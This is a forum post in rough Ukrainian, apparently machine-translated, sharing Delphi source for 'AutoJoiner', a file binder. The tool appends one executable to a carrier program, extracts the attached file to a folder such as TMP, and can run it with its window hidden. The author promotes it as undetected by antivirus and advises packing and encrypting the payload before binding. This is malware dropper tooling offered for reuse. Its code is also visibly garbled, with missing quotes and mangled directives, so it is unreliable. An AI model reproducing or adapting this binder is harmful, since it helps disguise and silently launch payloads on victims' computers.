Викладаю свій спосіб склеювання файлів.
Суть методу гранично, до тупого проста і зрозуміла всім.
У вихідний файл програми носія додається наведена нижче
процедура: Joiner. А далі де-небудь в програмі
встановлюється її виклик, наприклад на початку основної частини
або, якщо її немає у функції FormCreate, в загальному де порахуєте
потрібно, там і ставите Далі діємо так: у нас є
два файлу наприклад nositel.exe-файл-носій Joined.exe –
клеимый файл. Розміщуємо ці файли в одному каталозі, запускаємо
nositel.exe в цьому ж каталозі утворюється файл nositel.exe.exe
він являє собою вже склееные два файлу nositel.exe і
Joined.exe з доданою до DOS-заголовку міткою склеености)))
Загалом якщо ви всі параметри правильно ввели у всі
вже готово)) Перейменовуємо nositel.exe.exe в робочий ім’я
і можемо його застосовувати при запуску цього файлу він витягує
приклееную прогу в вказане в параметрі місце і в залежності
від вибраний парамтров запускає чи ні з обраним способом
відображення вікна)))

Я думаю, що питання по темі будуть, хоча начебто все зрозуміло,
загалом що не зрозуміло запитуйте.

Преемущества методу:
— Непалим антивирями з причини відсутності загрузщика;
— Метод простий і не вимагає наявності будь-яких засобів;
— Метод дуже компактний в реалізації;

Недоліки методу:
— Не можна склеювати будь-які два файлу, в якості файлу-носія
можна застосовувати тільки файл, чий делфі ісходник у вас є

Особливість методу:
— Упаковку та шифрування файлів необхідно провести до склеювання)))

Ось ісходник процедури, повністю описаний і з прикладом застосування:

//////////////////////////////////
//// AutoJoiner by execom ////
//// 52Nn n DE © 2007 ////
//// 52nn.net & d4rkevil.org ////
//////////////////////////////////

{$65000 M}//Ця дериктива компілятор виділяє пам’ять під запуск програми
//Її необхідно буде додавати в кожну прогу внячале коду
program Project3;
uses //Для роботи процедури необхідно присутність цих модулів
SysUtils,
Windows;

Procedure Joiner(fName,fPath,fCMD:string;fstart:boolean;fShow:Cardinal);
const
mSize=56789;//Розмір програми-носія до якої буде кренитися файл
fSize=12345;//Розмір крепимого файлу
//Ці два значення ми встановлюємо досвідченим шляхом і записуємо самі
type
MnBuf=array[1..mSize] of Char;
FlBuf=array[1..fSize] of Char;
LaBuf=array[1..8] of Char;
var
mBuf: MnBuf;
fBuf: FlBuf;
lBuf: LaBuf;
f: File of Char;
begin
FileMode:=0;//Встановлюємо режим роботи з файлами Тільки читання
AssignFile(f,Paramstr(0));//Асоціюємо змінну f з шляхом до себе
Reset(f);//Відкриваємо себе
Seek(f,$1C);//Переходимо на позицію читання 1Ch, тобто 28 байт
//В DOS-заголовку ехе-файлу є зарезервовані місця,
//які поки їх не зайняли ми можемо вільно використовувати
//на позиції 1С? є 8 байт, на позиції 28h (40-й байт) вільно 20 байт
BlockRead(f,lBuf,8);//Зчитуємо в буфер, починаючи з поточної позиції 8 байт в змінну lBuf
if LBuf=E}{eC()M then
//Якщо в цьому місці наша позначка означає файл вже приклеин і нам необхідно
//його з себе витягти і за необхідності запустити у вибраному режимі відображення
//Мітку можете придумати свою, вона може мати розмір не більш 8 байт у цій позиції
// і не більш 20 байт в позиції 28h Ми знаходимося на другому рівні
Begin
Seek(f,FileSize(f)-fSize);//Переходимо на позицію початку приклеєного файлу
BlockRead(f,fBuf,fSize);//Зчитуємо в буфер увесь приклеєний файл
CloseFile(f);//Закриваємо себе
FileMode:=2;//Встановлюємо режим роботи з файлами Тільки запис
{$I-}//Відключаємо перевірку помилок вводу виводу
AssignFile(f,fPath+fName);//Асоціюємо змінну f з вибраним шляхом розпакування
ReWrite(f);//Створюємо з перезаписом порожній файл
BlockWrite(f,fBuf,fSize);//Вивантажуємо в новий файл данныей завантажені з кінця свого файлу
CloseFile(f);//Закриваємо себе
{$I+}//Включаємо перевірку помилок вводу виводу
if fStart then WinExec(PChar(fPath+fName+ +fCMD),fShow);
//Якщо fStart true запускаємо витягнутий файл з вибраним способом відображення і командним рядком
end
else
//Якщо в цьому місці не стоїть наша мітка то файл не містить в собі оверлейного файлу
//Означає, що ми знаходимося на першому рівні, і до програмі-носію необхідно приклеїти файл
begin
{$I-}//Відключаємо перевірку помилок вводу виводу
Seek(f,0);//Переходимо на позицію початку свого файлу
BlockRead(f,mBuf,mSize);//Зчитуємо в буфер увесь свій файл
CloseFile(f);//Закриваємо себе
AssignFile(f,fname);//Асоціюємо змінну f з шляхом до клеемому файлу
Reset(f);//Відкриваємо його
BlockRead(f,fBuf,fSize);//Беремо в бефер весь клеимый файл
CloseFile(f);//Закриваємо файл клеимый
FileMode:=2;//Встановлюємо режим роботи з файлами Тільки запис
AssignFile(f,paramstr(0)+.ExE);//Асоціюємо змінну f з шляхом до файла з ім’ям,
//як у файлу носія +.ЕхЕ
ReWrite(f);//Створюємо новий порожній файл
BlockWrite(f,mBuf,mSize);//выгружем в файл вміст буфера взяте з себе
BlockWrite(f,fBuf,fSize);//выгружем в файл вміст буфера взяте з клеимого файлу
seek(f,$1C);//Переходимо на позицію установки мітки
LBuf:=E}{eC()M;//Присваивем змінній значення мітки
BlockWrite(f,LBuf,8);//Вивантажуємо позначку з перезаписом старих байт на позицію її перебування
CloseFile(f);//Закриваємо файл
{$I+}//Включаємо перевірку помилок вводу виводу
end;
end;
begin
//Застосування процедури Joiner:
//fName — Ім’я клеимого файлу
//fPath — Папка розпакування файлу
//fCMD — командний рядок запуску файлу (якщо є)
//fstart — true — запускаємо, false — не запускаємо, витягнутий файл
//fShow — Режим відображення яке було запущено файлу, наприклад:

//SW_HIDE — Ховає вікно і переводить в активний стан інше вікно.
//SW_MINIMIZE — Мінімізує вікно і активізує вікно верхнього рівня списку менеджера вікон.
//SW_RESTORE — Діє так само, як і SW_SHOWNORMAL.
//SW_SHOW — Активізує вікно і виводить його в поточній позиції і поточного розміру.
//SW_SHOWDEFAULT — Активізує вікно і виводить його з використанням поточних замовчувань.
//SW_SHOWMAXIMIZED — Активізує вікно і виводить його з максимально розміром.
//SW_SHOWMINIMIZED — Активізує вікно і виводить його у вигляді піктограми.
//SW_SHOWMINNOACTIVATE — Виводить вікно як піктограму; колишнє активныь в даний момент вікно залишається активним.
//SW_SHOWNA — Виводить вікно з урахуванням його стану в даний момент; активне в даний момент вікно залишається активним.
//SW_SHOWNOACTIVATE — Виводить вікно в його колишньої позиції і колишнього розміру; активне в даний момент вікно остаета активним.
//SW_SHOWNORMAL — Активізує вікно і виводить його на екран. Якщо вікно було збільшено або зменшено до піктограми, то система Windows відновить початкове положення і розмір вікна.
//SW_SHOWSMOOTH — Виводить вікно так, щоб воно найменше перекривався з іншими вікнами.

Joiner(calc.exe,GetEnvironmentVariable(TMP)+’,,true,SW_Show);
end.

P. S. При написанні програм з паблік исходниками пояснення з коду
можете прибрати, але залиште рядка копірайту:
//////////////////////////////////
//// AutoJoiner by execom ////
//// 52Nn n DE © 2007 ////
//// 52nn.net & d4rkevil.org ////
//////////////////////////////////